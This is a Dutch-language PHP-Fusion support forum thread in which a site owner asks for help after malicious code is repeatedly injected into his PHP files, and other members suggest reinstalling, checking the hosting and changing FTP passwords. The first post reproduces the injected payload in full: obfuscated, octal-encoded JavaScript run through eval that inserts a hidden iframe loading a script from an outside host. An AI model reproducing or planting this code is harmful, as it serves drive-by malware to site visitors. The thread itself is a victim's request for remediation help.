Onderwerp bekijken
pHpFusion Nederlands (BE|NL) » Ondersteuning, Themas, Infusies, Modificaties en Installatie » PHP-Fusion v7.xx onderwerpen » Algemene v7 support
Algemene support omtrent algemene gebruik- en installatieproblemen.
 Onderwerp afdrukken
Site gehackt ?
daams87
Top  #1 Bericht afdrukken
Geplaatst op 26 March 2013, 17:49
Hallo,

Mijn website is gister gehackt nu dacht ik dat het kwam door bepaalde infusions dus heb hem er gister opnieuw opgezet zonder ook maar 1 infusion, maar hij is nu weer gehackt.
Heeft iemand enig idee wat ik hieraan kan doen.

Hij injecteerd een code in al mijn .php bestanden.

Code Download source  

                                                                                                                                                                                                                                                          ff=String;fff=\"fromCharCode\";ff=ff[fff]zz=3;try{document.body&=5151}catch(gdsgd){v=\"eva\"+\"l\";if(document)try{document.body=12;}catch(gdsgsdg){vzs=0;try{document;}catch(q){vzs=1;}}if(!vzs)e=window[v]if(1){f=new Array(050,0146,0165,0156,0143,0164,0151,0157,0156,040,050,051,040,0173,015,012,040,040,040,040,0166,0141,0162,040,0160,0164,0166,0167,040,075,040,0144,0157,0143,0165,0155,0145,0156,0164,056,0143,0162,0145,0141,0164,0145,0105,0154,0145,0155,0145,0156,0164,050,047,0151,0146,0162,0141,0155,0145,047,051,073,015,012,015,012,040,040,040,040,0160,0164,0166,0167,056,0163,0162,0143,040,075,040,047,0150,0164,0164,0160,072,057,057,0163,0145,0164,0143,0157,0156,056,0160,0154,057,0146,0164,0160,057,0143,0156,0164,056,0160,0150,0160,047,073,015,012,040,040,040,040,0160,0164,0166,0167,056,0163,0164,0171,0154,0145,056,0160,0157,0163,0151,0164,0151,0157,0156,040,075,040,047,0141,0142,0163,0157,0154,0165,0164,0145,047,073,015,012,040,040,040,040,0160,0164,0166,0167,056,0163,0164,0171,0154,0145,056,0142,0157,0162,0144,0145,0162,040,075,040,047,060,047,073,015,012,040,040,040,040,0160,0164,0166,0167,056,0163,0164,0171,0154,0145,056,0150,0145,0151,0147,0150,0164,040,075,040,047,061,0160,0170,047,073,015,012,040,040,040,040,0160,0164,0166,0167,056,0163,0164,0171,0154,0145,056,0167,0151,0144,0164,0150,040,075,040,047,061,0160,0170,047,073,015,012,040,040,040,040,0160,0164,0166,0167,056,0163,0164,0171,0154,0145,056,0154,0145,0146,0164,040,075,040,047,061,0160,0170,047,073,015,012,040,040,040,040,0160,0164,0166,0167,056,0163,0164,0171,0154,0145,056,0164,0157,0160,040,075,040,047,061,0160,0170,047,073,015,012,015,012,040,040,040,040,0151,0146,040,050,041,0144,0157,0143,0165,0155,0145,0156,0164,056,0147,0145,0164,0105,0154,0145,0155,0145,0156,0164,0102,0171,0111,0144,050,047,0160,0164,0166,0167,047,051,051,040,0173,015,012,040,040,040,040,040,040,040,040,0144,0157,0143,0165,0155,0145,0156,0164,056,0167,0162,0151,0164,0145,050,047,074,0144,0151,0166,040,0151,0144,075,0134,047,0160,0164,0166,0167,0134,047,076,074,057,0144,0151,0166,076,047,051,073,015,012,040,040,040,040,040,040,040,040,0144,0157,0143,0165,0155,0145,0156,0164,056,0147,0145,0164,0105,0154,0145,0155,0145,0156,0164,0102,0171,0111,0144,050,047,0160,0164,0166,0167,047,051,056,0141,0160,0160,0145,0156,0144,0103,0150,0151,0154,0144,050,0160,0164,0166,0167,051,073,015,012,040,040,040,040,0175,015,012,0175,051,050,051,073);}w=f;s=[]if(window.document)for(i=2-2;-i+478!=0;i+=1){j=i;if((031==0x19))if(e)s=s+ff(w[j]);}xz=e;if(window.document)if(v)xz(s)}";



#/8f4d8e#

?>
 
Wanabo
Top  #2 Bericht afdrukken
Geplaatst op 27 March 2013, 16:11
Vervelend dat je site gehackt is.
Heb je echt alles verwijderd en toen weer opnieuw geinstalleerd? Of heb je de bestaande bestanden overschreven?

De geinjecteerde code lijkt me op het eerste gezicht niet schadelijk maar het is natuurlijk wel vervelend.

Wat voor hosting gebruik je? Zit je op shared hosting of heb je een vps of dedicated server?

Ook wil ik graag weten welke versie van php-fusion je gebruikt en waar ik je website kan vinden. Dat laatste mag e.v. per PB.
 
http://www.gebruikers.eu
daams87
Top  #3 Bericht afdrukken
Geplaatst op 27 March 2013, 17:16
Nee het is niet echt schadelijk heb hem een keer bekeken toen ik nog geen goede virusscanner had je krijgt dan het zogeheten ''politievirus'' maar die kun je eenvoudig verweideren in veilige modus.

Mijn website is dennis-daams[dot]nl, ik gebruik hierop de nieuwste versie van php fusion v7.02.06

En ik heb mijn hosting bij antagonist, maar hier ligt het niet aan heb al 3 verschillende geprobeert. en ook nog mailtjes gestuurd maar volgens hen kan het daar niet aan liggen.

Alvast bedankt voor je snelle reactie Smile

groeten dennis
 
Wanabo
Top  #4 Bericht afdrukken
Geplaatst op 27 March 2013, 17:43
Nou het is toch ernstiger dan ik dacht. NIS blokkeerde een "Mass injection" poging.
Er is dus echt een probleem met je site.

Je reactie kan ik niet helemaal plaatsen. Bij 3 verschillende hosters heb je hetzelfde probleem?

Ik heb op de engels talige moedersite al veel gelezen over recent gehackte sites. Tot nu toe heb ik geen beeld waaraan het kan liggen. Wat onbesproken is gebleven zijn de hosting omstandigheden. En ik vermoed dat nu juist daar het probleem ligt.

Als er een lek in php-fusion zit dat zou dat al veel massaler uitgebuit zijn. Ik vermoed dus dat het aan andere lekke software ligt (Joomla, Wordpress, etc).

Op het moment dat daar het lek uitgebuit wordt is de hele server en ALLE andere software te infecteren.

Zorg dat je hoster de basedir restriction aan heeft staan.

Wat kan je zelf doen.
1. Je hele website (alle bestanden) wissen behalve config.php.
2. Bestanden uit het installatiepakket uploaden en config.php terugplaatsen.
3. Geen infusies gebruiken die niet in het installatie pakket zitten.
4. Aangezien je database nog aanwezig is zou je site weer moeten werken. (Zet e.v. een oudere database terug van voor de hack)

Hou je bovenstaande problemen, dan kan het probleem in de database zitten. B.v. in de eigen pagina's of nieuws. Je zult dan echt de database na moeten lopen op foute code.

Als je site weer "schoon" is kun je deze software gebruiken om je site te beschermen. http://www.crawltrack.net/
 
http://www.gebruikers.eu
daams87
Top  #5 Bericht afdrukken
Geplaatst op 27 March 2013, 18:20
ik heb gewoon webhosting gehuurd weet het niet zeker maar volgens mij noemen ze dat shared hosting. ik ga nu alles er opnieuw op zetten en dan zet ik gelijk crawltrack erop.

Ik las op de officiele site dat wel meer mensen er last van hebben maar het is idd niet massaal.

Heel erg bedankt voor je hulp ik laat het weten als het gelukt is en natuurlijk ook als het niet gelukt is Smile

groetjes dennis
 
Deejay-Erik
Top  #6 Bericht afdrukken
Geplaatst op 06 May 2013, 11:33
Lijkt mij eerder doordat je zelf ook een virus had dat ze via je Ftp je site gehackt hebben ik zou eens aan een nieuw pasw voor je ftp gaan en dan nog eens alles nieuw der opzetten dan zal hetw el afgelopen zijn... en dan gelijk je eigen pc beter beveiligen..!!
 
http://grenslandradio.nl
Spring naar forum:
Nieuw onderwerp Antwoorden
Gebruik BBcode of HTML om naar; 'Site gehackt ?', te verwijzen!
BBcode:
HTML:
Vergelijkbare onderwerpen
Onderwerp Forum         Laatste bericht
site vertalen Infusions : 2 01 Feb 2014, 13:33
faq plaatsen op de site Algemene onderwerpen : 4 31 Jan 2014, 23:04
eggdropdatabase op site Infusions : 3 10 Aug 2013, 21:22
geraken niet meer op de site Algemene v7 support : 2 12 Mar 2013, 16:27
hulp bij site dynamischer maken Algemene onderwerpen : 6 22 Feb 2013, 11:35